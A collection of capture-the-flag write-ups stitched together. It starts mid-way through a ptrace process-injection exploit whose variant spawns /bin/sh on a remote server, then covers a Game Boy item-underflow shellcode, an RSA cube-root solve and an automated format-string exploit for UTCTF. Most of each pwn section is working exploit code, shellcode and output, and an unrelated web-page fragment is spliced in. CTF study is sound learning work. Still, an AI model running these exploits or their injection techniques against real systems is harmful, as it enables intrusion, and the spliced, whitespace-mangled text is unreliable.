PTRACE_ATTACH = 16PTRACE_POKETEXT = 4PTRACE_DETACH = 17addr = 0x401802addr_exit = 0x401827```
The above just has the dissembled section as documentation for the hardcoded variables, followed by our 32-byte patch that is then broken up into (4) 64-bit words; `ptrace` patching writes words.
The `PTRACE_...` values are taken directly from `sys/ptrace.h`
```pythonpayload = asm(f'''``````assemblymov rdi, {PTRACE_ATTACH}mov rsi, {pid}xor rdx, rdxxor r10, r10mov rax, {constants.SYS_ptrace}syscall
/* sleep(<=1) */mov rdi, {binary.bss() + 0x100}xor rsi, rsimov rax, {constants.SYS_gettimeofday}syscall
mov rdx, rdimov rdi, {binary.bss() + 0x110}loop:mov rax, {constants.SYS_gettimeofday}syscallmov rax, [rdi]sub rax, [rdx]je loop
/* patch */mov rdi, {PTRACE_POKETEXT}mov rsi, {pid}mov rdx, {addr}mov r10, {patches[0]}mov rax, {constants.SYS_ptrace}syscall
add rdx, 8mov r10, {patches[1]}mov rax, {constants.SYS_ptrace}syscall
add rdx, 8mov r10, {patches[2]}mov rax, {constants.SYS_ptrace}syscall
add rdx, 8mov r10, {patches[3]}mov rax, {constants.SYS_ptrace}syscall
/* change readstory.txt to flag */mov rdx, {binary.search(b'readstory.txt').__next__()}mov r10, 0x67616c66mov rax, {constants.SYS_ptrace}syscall
/* patch out exit so we get flag after flag */mov rdx, {addr_exit}mov r10, 0x9090909090909090mov rax, {constants.SYS_ptrace}syscall
add rdx, 2mov rax, {constants.SYS_ptrace}syscall
/* patch out even pid check, does not work remotely */.if {0 if args.REMOTE else 1}mov rdx, {0x40179d}mov rax, {constants.SYS_ptrace}syscall.endif
mov rdi, {PTRACE_DETACH}xor rdx, rdxxor r10, r10mov rax, {constants.SYS_ptrace}syscall
jmp $``````python''')
assert(len(payload) < 0x1ff)```
The above shellcode is the same as the C code POC with the following three exceptions:
1. The `sleep(<=1)` block does not really sleep for one second. On average it'll sleep for `0.5` seconds. With a bit more code I could get this to one second, but it was good enough (and is necessary).2. The `.if {0 if args.REMOTE else 1}` block will patch out the even PID check if testing locally. This code does not work remotely (actually I think it is safe to run, but you do not get the desired results).3. The `jmp $`, it just an endless loop, this prevents the parent process from crashing; we need time for the flag to be emitted.
The `assert` is there to make sure the payload does not exceed `0x1ff` bytes. There's some shitfuckery in `read_input` that overwrites the `0x1ff`th byte. It can be mitigated if you did have longer code, but there was no need.
```pythonlog.info('child pid: {x}'.format(x = pid))if not args.REMOTE: open('ppid','w').write(str(p.pid)) open('pid','w').write(str(pid))
p.sendlineafter(b'Input: \n', payload)flag = p.recvuntil(b'}').decode()p.close()if 's' in locals(): s.close()print(flag)```
And finally, get the flag. The `if not args...` block is just for my local testing. The rest should be obvious.
Output (local):
```bash# ./exploit.py[+] Starting local process '/pwd/datajerk/umdctf2022/trace_story/trace_story': pid 28053[*] child pid: 28054[*] Stopped process '/pwd/datajerk/umdctf2022/trace_story/trace_story' (pid 28053)flag{flag}
# ./exploit.py[+] Starting local process '/pwd/datajerk/umdctf2022/trace_story/trace_story': pid 28078[*] child pid: 28079[*] Stopped process '/pwd/datajerk/umdctf2022/trace_story/trace_story' (pid 28078)flag{flag}```
Above, locally odd or even PID works just fine.
Output (remote):
```bash# ./exploit.py REMOTE=1[+] Opening connection to 0.cloud.chals.io on port 15148: Done[+] Opening connection to 0.cloud.chals.io on port 15148: Done[*] PID 1423 is not even, starting over...[*] Closed connection to 0.cloud.chals.io port 15148[+] Opening connection to 0.cloud.chals.io on port 15148: Done[*] child pid: 1426[*] Closed connection to 0.cloud.chals.io port 15148[*] Closed connection to 0.cloud.chals.io port 15148UMDCTF{Tr4C3_Thr0Ugh_3v3rYth1NG}```
Retrying until even PID.
### Shell Version
Patch is changed to get a shell using `execve`:
```pythonpatch = asm(f'''mov rdi, {binary.search(b'readstory.txt').__next__()}xor rsi, rsixor rdx, rdxmov rax, {constants.SYS_execve}syscall''')```
Instead of `flag` replacing `readstory.txt`, it's `/bin/sh`:
```assembly/* /bin/sh as readstory.txt */mov rdi, {PTRACE_POKETEXT}mov rsi, {pid}mov rdx, {binary.search(b'readstory.txt').__next__()}mov r10, {'0x' + hexlify(b'/bin/sh'[::-1]).decode()}mov rax, {constants.SYS_ptrace}syscall```
See [`exploit2.py`](exploit2.py) for details.
Output:
```bash# ./exploit2.py REMOTE=1[+] Opening connection to 0.cloud.chals.io on port 15148: Done[*] child pid: 1232[*] Switching to interactive mode$ ls -ltotal 56drwxr-x--- 1 0 1000 4096 Mar 3 03:26 bindrwxr-x--- 1 0 1000 4096 Mar 3 03:26 dev-rwxr----- 1 0 1000 32 Mar 3 03:22 flagdrwxr-x--- 1 0 1000 4096 Mar 3 03:26 libdrwxr-x--- 1 0 1000 4096 Mar 3 03:26 lib32drwxr-x--- 1 0 1000 4096 Mar 3 03:26 lib64drwxr-x--- 1 0 1000 4096 Mar 3 03:26 libx32-rwxr-x--- 1 0 1000 5628 Mar 3 12:12 readstory.txt-rwxr-x--- 1 0 1000 17712 Mar 3 03:22 trace_story$ cat flagUMDCTF{Tr4C3_Thr0Ugh_3v3rYth1NG}``` |
# RetroPwn
> Come take a break playing this little game...
We get a telnet and a gameboy ROM.
### Part 0 - checking out the game
I's a quite simple game where you can move and shoot enemy, which also tries to shoot at you.Each enemy killed gains you current `score` amount of `gold`. You can also open shop and buy items for gold.
### Part 1 - reversing
We used [BGB](https://bgb.bircd.org) for dynamic analysis together with Ghidra for static analysis. I've attached our exported ghidra DB.You need [GhidraBoy](https://github.com/Gekkio/GhidraBoy) plugin to open it tho.
A placeholder flag string is inside the ROM, but is unused. We didn't think that the bug would be in movement function,so we mostly looked into shop part of the game while reversing.
By setting item counts in debugger to 0xFF we noticed that entire menu is glitched. We can move cursor outside of the 15 item range.While reversing this behaviour in depth with ghidra the code looked extremly suspicious. Almost as if this bug was made on purpose.
After some time we found how to trigger this bug. You can:
- buy item- open use menu- select that you want to throw 1 item- use the item (which decrements count from 1 to 0)- throw the item (which decrements count from 0 to 255)
thus you end up with negative amount of an item.
### Part 2 - pwn
Long story short:
- we setup our score to be exactly 0xc3ca, which points into `item_use_ptrs`
```c3bf 87 57 addr use_item_0c3c1 02 58 addr use_item_1c3c3 81 58 addr use_item_2c3c5 00 59 addr use_item_3c3c7 7f 59 addr use_item_4c3c9 fe 59 addr use_item_5 <= we point at byte 59 herec3cb 7d 5a addr use_item_6c3cd fc 5a addr use_item_7c3cf 7b 5b addr use_item_8c3d1 fa 5b addr use_item_9c3d3 79 5c addr use_item_10c3d5 51 56 addr use_item_11c3d7 ad 56 addr use_item_12c3d9 f2 56 addr use_item_13c3db 3a 57 addr use_item_14
# goldc3dd ?? ?? int16_t ??
# flag6d82 ds "INS(PLACEHOLDER!!!)"```
- we prepare our gold for next steps to end with exactly E9, which will be `JMP (HL)` opcode- we setup our shellcode at 0xc3ca by moving cursor to our shellcode and tossing X amount of itemsby doing that we can decrement any positive value (that is <= 0x7F), we can't point our cursor at negative values (or 0).- call our shellcode by using item
So here's how our shellcode worked without garbage opcodes:
```LD E, 0x82LD D, 0x6dLD HL, 0x5711
# after jumpPUSH DECALL printf```
But to make it work with bytes we had at hand and mechanic of only decrementing positive numbers we created:
```0x59 => toss 27 => 0x3e # LD A, imm0x7d => toss 54 => 0x47 # load (lower bytes of flag string pointer shifted right by 1 byte) into A # we do this because flag add ends with 0x82 which is negative
0x5a => toss 44 => 0x2e # LD L, imm0xfc => => 0xfc # this operation is just a workaround for not being able to touch 0xfc
0x5a => toss 83 => 0x07 # RLC A # shift A left (to fix the pointer to the flag)
0x7b => toss 28 => 0x5f # LD E, A # move lower bytes of flag pointer into E
0x5b => toss 29 => 0x3e # LD A, 0xFA0xfa => => 0xfa # this operation is just a workaround for not being able to touch 0xfa
0x5b => toss 69 => 0x16 # LD D, imm0x79 => toss 12 => 0x6d # move higher bytes of flag pointer into D
0x5c => toss 1 => 0x5b # LD E, E # NOP
0x51 => toss 2 => 0x4f # LD C, A # NOP
0x56 => toss 4 => 0x52 # LD D, D # NOP
0xad => => 0xad # XOR L # NOP
0x56 => toss 4 => 0x52 # LD D, C # NOP
0xf2 => => 0xf2 # LD A, (C) # NOP
0x56 => toss 53 => 0x21 # LD HL, 0x57110x31 => toss 41 => 0x11 # load address where push DE, call printf exists0x57 => => 0x57 # into HL
gold => => 0xe9 # JMP (HL)```
Since we're priting where our score was placed we can only print 3 characters as the rest is printed outside of visible screen.So we created our shellcode to not crash the game and we have easily movable string pointer at the beginning of the shellcode.So we used 0x47 to print 3 last characters, then decremented the value to 0x46 to move pointer to print previous characters and so on till 0x41.
*Note: actually 0x41 prints 6 characters, since it overflows text and starts overwriting on the left side as well.*
Flag leaks:
```0x41: INS( !!!)0x43: H4C0x44 CKB0x45 B0Y0x46 Y'10x47 101
Flag: INS(H4CKB0Y'101!!!)``` |
# 1337UP CTF
## Crypto - Dante's Inferno
### Methodology/Steps
- 1 : `change header of zip file`- 2 : `Run the text/prgm in Malboge decoder`- 3 : `RSA cube root attack`
### Header change
- change the header to `50 4B 03 04` ( I've used hexedit )- Refernce - `https://bitvijays.github.io/LFC-Forensics.html`

- After unzipping we had a file which had encoded ciphertext
### Malboge decoder
- The text file and challenge name had reference of Malboge language - Reference - https://malbolge.doleczek.pl/- This was the ciphertext
```D'`r_"\!65|{8yTBu-,P0<L']m7)iE3ffT"b~=+<)([wvo5Vlqping-kjihgfH%cb[`Y}@VUyxXQPUTMLpPOHMFj-,HGF?>bBA:?>7[;:9870v.3,PO/.'K%*)"F&%ed"y~w=uzsr8potml21oQmf,diha`e^$\aZ_^W{[=<XWPOs65KPIHGFjJIHG@?c=B;@?>7[;4981U5.R21q)M-&%I#('~D${"y?wv{t:9qYun4rkSonmlkdihg`&d]\aZY}@V[ZYXQuU76LKo2HGFjiCHA@?c=B;@?>7[;4981UT4321q)M'&%$)"!E%e{z@~}_uzs9wvotsrk1onPle+*)a`e^$\aZY}W\[TSwvVUTMLpPIHGLEiIHG@(>baA:^!~<;:921U54t2+*N.'&%*)"FEfe{"y?>v{zsxqp6nVl2pohg-ejib('_^]b[Z~^@?UZSRvPONr54JImGLKDIBfe(>=<`#">=65Y987w/43,P0)o-,+$H('&%|B"!~w|{t:xZpo5Vlqjinmled*Ka`edc\"Z_^]Vz=YXQPtN6LKoO10FKDhHAF?cCBA#"8\65Y987w/43,P*p.-&J*#i'&}C#"!x>|{zyr8ponmrqj0/mfNjibg`_^$b[Z_X]VUySRQPUNr54JImMLEDhHA@dD=B;:^8=6;4X2Vwv4-,+*N(-,%$H(!&}C#"!xwv<zyxZpo5Vrkjongf,jibJ`_^$\aZ_^]VzTYRWVOsSRQJn1MFKJCBf)(>=<`#"8\654XW165.-Q10)('K+$#G'&fe#"y?}vuzyxq7utsrkj0hgfkjihg`_^$\[ZY}|V[ZSRWPtT6LKJIm0/KDIHAeEDC<;:9]\6Z4z816/4-,P0/.'&%$H('&%ed"y~w={tsr8vo5mlqponmf,diba`ed]#"Z_X]V[TxRQVONMLp3INGFEi,HAF?c=<;@9876Z{921U/432+O)o'&%I#(!&%${A@~}|{ts9qpun4lkpi/glkdcba'_dcbaZY}]\UyS;QVUNrq4JIHMFj-,BGF?cCBA#"8=6Z:98705.-Q1*p.-&JI#"!~}C{"!~}v<tsrqp6Wsl2jinmlkdcba'e^cb[Z~^@?UZSRv98TSLKo2NMFEJIBf)EDC<;_98=6;4X2765.-Q10)o'&%I#i'&}C{"y~w=utyrqp6tsrqSi/g-ediha'eG]#[ZY}@VzTYXWVOs6LKo2NMFKJCBf@ED=a;@9]=<54XW765.-Q1q)ML,%*)"!~}C{"yx}v<;yrwvo5slqpohg-kdchgf_%]\[Z~}@VzZYRWVOsSRQJnN0/EDCg*)E>b<;@?8=6Z:9810T4t2+*N(-,%$H('gf|Bz!x}|u;srqpon4lTjohg-kjiba'e^c\"!Y^]\[TxXW9ONMLpPOHMFjDIHA@E>b<;:9]=6;492V65.R2+*N.'&+*#G'~%|#"yx>=uzsxwvun43kjohgf,jihgfe^$\[Z_^W{[TYXWVOsSRQJONMLEiCHG@?cb%;@?8\6;492VUTu-2+ONon,+*#G!&}C#"!x>|u;yrwpun4lTjohg-eMib(fe^cb[!Y^]\Uy<;WVONSLpJIHMFKDhU```
- Decoded text
```ct = 873155658033286165345893055075219953448439133304998599826332294122364399613515391492517530741997313686269671365469457117326837553092248386584401016236110628510070270063568461732767950347057143066788600143225698168693961311821925168117751654884111332051719013
```
### RSA Solve.py
- The flag file had a hint of `cube root` attack
```pyfrom gmpy2 import irootfrom Crypto.Util.number import long_to_bytes
ct = ct = 873155658033286165345893055075219953448439133304998599826332294122364399613515391492517530741997313686269671365469457117326837553092248386584401016236110628510070270063568461732767950347057143066788600143225698168693961311821925168117751654884111332051719013flag = iroot(ct,3)
flag = long_to_bytes(flag[0]).decode()
#print(flag)```
```flag : 1337UP{U_d3CrYPt3D_th3_k3Y_30494762} ``` |
Since each bit (except some low-order bits) is only set in one of p or q, we can determine the top ~1000 bits of p by starting with `p = 0b111111...` and `q = 0b0` and "moving" each bit into `q` if `p * q < n`. Brute force the 20 low-order bits to factor `n`. |
# UTCTF 2022
## Automated Exploit Generation 2
> Now with printf!>> By Tristan (@trab on discord)>> `nc pwn.utctf.live 5002` Tags: _pwn_ _x86-64_ _format-string_
## Summary
Annoying challenge, where the challenge is to analyze a series of pseudo-random binaries in realtime; then solve with a trivial format string exploit.
Challenge start:
```You will be given 10 randomly generated binaries.You have 60 seconds to solve each one.Solve the binary by making it exit with the given exit codePress enter when you're ready for the first binary.```
After pressing _enter_, you get this dump:
```00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............00000010: 0200 3e00 0100 0000 b010 4000 0000 0000 ..>[email protected]: 4000 0000 0000 0000 503b 0000 0000 0000 @.......P;............000042e0: 0000 0000 0000 0000 2c3a 0000 0000 0000 ........,:......000042f0: 1f01 0000 0000 0000 0000 0000 0000 0000 ................00004300: 0100 0000 0000 0000 0000 0000 0000 0000 ................
Binary should exit with code 74You have 60 seconds to provide input:```
You'll need to undump a few of these binaries, analyze them, find the patterns, then automate with code to solve them.
If you provide the correct input, so that the binary exit is a match, then you'll get the next binary. After 10 of these you get the flag.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
Each binary will be the same. All we care about is _No PIE_ so we can change the `exit_code`.
### Ghidra Decompile
```c fgets((char *)&local_218,0x202,stdin); permute(&local_218); printf((char *)&local_218); exit(exit_code);```
The only lines from `main` that matter are above; get some bytes, shuffle them, then call `printf` without a format string. The objective is to craft a shuffled string that the binary can unshuffle resulting in a proper format string.
The format string is very basic:
```fmtstr_payload(offset,{binary.sym.exit_code:ec})```
Just change the `exit_code` (global variable with no PIE) to the exit code requested for that challenge binary.
`permute` calls eight shuffled permute functions, each that do additional shuffling:
```cvoid permute(undefined8 param_1){ permute1(param_1); permute5(param_1); permute7(param_1); permute6(param_1); permute2(param_1); permute4(param_1); permute8(param_1); permute3(param_1); return;}```
The order changes for each binary. Our code will need to do this in reverse.
The 3 of 8 permute functions (1, 2, 5) are static and their own inverses, the rest have hardcoded values that need to be extracted to reverse the behavior (actually, the functions need to reverse our input, we're encoding, the binary decodes), e.g. `permute3`:
```cvoid permute3(long param_1){ long in_FS_OFFSET; int local_224; int local_220; int local_21c; undefined auStack536 [520]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); for (local_224 = 0; local_224 < 0x172; local_224 = local_224 + 1) { auStack536[local_224] = *(undefined *)(param_1 + (long)local_224 + 0x8e); } for (local_220 = 0x172; local_220 < 0x200; local_220 = local_220 + 1) { auStack536[local_220] = *(undefined *)(param_1 + (long)(local_220 + -0x200) + 0x8e); } for (local_21c = 0; local_21c < 0x200; local_21c = local_21c + 1) { *(undefined *)(local_21c + param_1) = auStack536[local_21c]; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return;}```
That `0x172` is a value that changes with each binary.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
def getbinary(r): f = open('aeg2','wb')
while True: _ = r.recvline() if b'0: ' in _: for i in _.split()[1:9]: f.write(int(i,16).to_bytes(2,'big')) if b'Binary' in _: ec = int(_.decode().strip().split()[-1],10) break
f.close() return ec```
`getbinary` does exactly that, undumps the dump into a binary.
```pythondef p1(s,k): return s[::-1]
def p2(s,k): return s[0x100:] + s[:0x100]
def p3(s,k): return s[k:] + s[:k]
def p4(s,k): return s[k:] + s[:k]
def p5(s,k): for i in range(0,len(s),2): s[i], s[i+1] = s[i+1], s[i] return s
def p6(s,k): for i in range(0,len(s),k): s[i:i+k] = [s[i+k-1]] + s[i:i+k-1] return s
def p7(s,k): for i in range(0,len(s),k): s[i:i+k] = s[i+1:i+k] + [s[i]] return s
def p8(s,k): for i in range(0,len(s),k): s[i:i+k] = s[i:i+k][::-1] return s```
Above are the eight inverse functions, e.g. if a string is shuffled with `p3`, then the binary `permute3` will unshuffle it.
All binary permute functions assume a string length of `0x200`.
`p` functions:
1. Reverse entire string.2. Roll string left `0x100` places.3. Roll string left `k` places.4. Roll string left `k` places.5. Byte swap.6. Roll 1 right for each slice of size `k`.7. Roll 1 left for each slice of size `k`.8. Reverse for each slice of size `k`.
```pythondef h1(p,binary): a = eval('binary.sym.permute' + str(p)) b = eval('binary.sym.permute') if p == 8 else eval('binary.sym.permute' + str(p+1)) f = binary.disasm(a,b-a).find('add DWORD PTR [rbp-0x21c], 0x') if f == -1: f = binary.disasm(a,b-a).find('sub DWORD PTR [rbp-0x21c], 0x') r = int(binary.disasm(a,b-a)[f:].split('\n')[0].split(', ')[1],16) if r == 0xffffff80: r = 0x80 return r
def h2(p,binary): a = eval('binary.sym.permute' + str(p)) b = eval('binary.sym.permute' + str(p+1)) f = binary.disasm(a,b-a).find('mov DWORD PTR [rbp-0x218], 0x') r = int(binary.disasm(a,b-a)[f:].split('\n')[0].split(', ')[1],16) return r```
These hack jobs decompile the permute functions and search for the `k` values. `h1` is used for permute 6, 7, and 8, while `h2` is used for 3 and 4.
Because of how the compiler generates the assembly, `h1` was a bit tricker when `k` was `0x80`.
> I could not think of a better way to do this. I'm sure there are tools in Python to make this type of analysis easier, but it didn't take long to code up the above.
```pythonr = remote('pwn.utctf.live', 5002)r.sendline()
for z in range(10): ec = getbinary(r) log.info(f'ec: {ec}')
binary = context.binary = ELF('./aeg2',checksec=False) offset = 8
payload = b'' payload += fmtstr_payload(offset,{binary.sym.exit_code:ec}) payload += (0x200 - len(payload)) * b'\0'
s = [*payload] for i in [ x for x in binary.disasm(binary.sym.permute,binary.sym.main-binary.sym.permute).split('\n') if 'call' in x][::-1]: j = int(i.split()[-1],16) p = int(list(binary.sym.keys())[list(binary.sym.values()).index(j)][-1]) k = 0 if p > 5 and p < 9: k = h1(p,binary) if p == 3 or p == 4: k = h2(p,binary) s = globals()['p' + str(p)](s,k)
r.sendlineafter(b'input: \n',bytes(s)) os.rename('./aeg2','./aeg2.' + str(z))
r.recvuntil(b'utflag{')flag = 'utflag{' + r.recvuntil(b'}').strip().decode()r.close()print(flag)```
The main loop:
1. Downloads and undumps the binary.2. Creates and pads the payload.3. Then calls the `p` functions in the reverse order from the binary with the `k` values.
After 10 runs (8 seconds) you get the flag:
```bash# ./exploit.py[+] Opening connection to pwn.utctf.live on port 5002: Done[*] ec: 176[*] ec: 104[*] ec: 28[*] ec: 119[*] ec: 103[*] ec: 93[*] ec: 72[*] ec: 41[*] ec: 187[*] ec: 81[*] Closed connection to pwn.utctf.live port 5002utflag{you_mix_me_right_round_baby_right_round135799835}```
### Blackbox Solve
Don't bother understanding anything, just measure the behavior of each binary and use that.
```python#!/usr/bin/env python3
from pwn import *
def getbinary(r): f = open('./aeg2','wb')
while True: _ = r.recvline() if b'0: ' in _: for i in _.split()[1:9]: f.write(int(i,16).to_bytes(2,'big')) if b'Binary' in _: ec = int(_.decode().strip().split()[-1],10) break
f.close() os.chmod('./aeg2', 0o0755) return ec
r = remote('pwn.utctf.live', 5002)r.sendline()
for z in range(10): ec = getbinary(r) log.info(f'ec: {ec}')
binary = context.binary = ELF('./aeg2',checksec=False)
m = 512 * [0] for i in range(4): s = (i * 128) * [ord(b'A')] + list(range(128,256)) + ((3 - i) * 128) * [ord(b'A')] context.log_level = 'WARN' p = process(binary.path) p.sendline(bytes(s)) _ = [*p.recvline().strip()] p.close() context.log_level = 'INFO' for j in range(128,256): m[i * 128 + (j - 128)] = _.index(j)
offset = 8 payload = b'' payload += fmtstr_payload(offset,{binary.sym.exit_code:ec}) payload += (0x200 - len(payload)) * b'\0'
s = 512 * [0] for i in range(0x200): s[m.index(i)] = payload[i]
r.sendlineafter(b'input: \n',bytes(s)) os.rename('./aeg2','./aeg2.' + str(z))
r.recvuntil(b'utflag{')flag = 'utflag{' + r.recvuntil(b'}').strip().decode()r.close()print(flag)```
Alternative solution that just calls the binary four times to workout the mapping.
> The previous solution does not require calling the binary at all.
```bash# ./exploit2.py[+] Opening connection to pwn.utctf.live on port 5002: Done[*] ec: 14[*] ec: 107[*] ec: 89[*] ec: 242[*] ec: 154[*] ec: 202[*] ec: 254[*] ec: 122[*] ec: 9[*] ec: 118[*] Closed connection to pwn.utctf.live port 5002utflag{you_mix_me_right_round_baby_right_round135799835}``` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.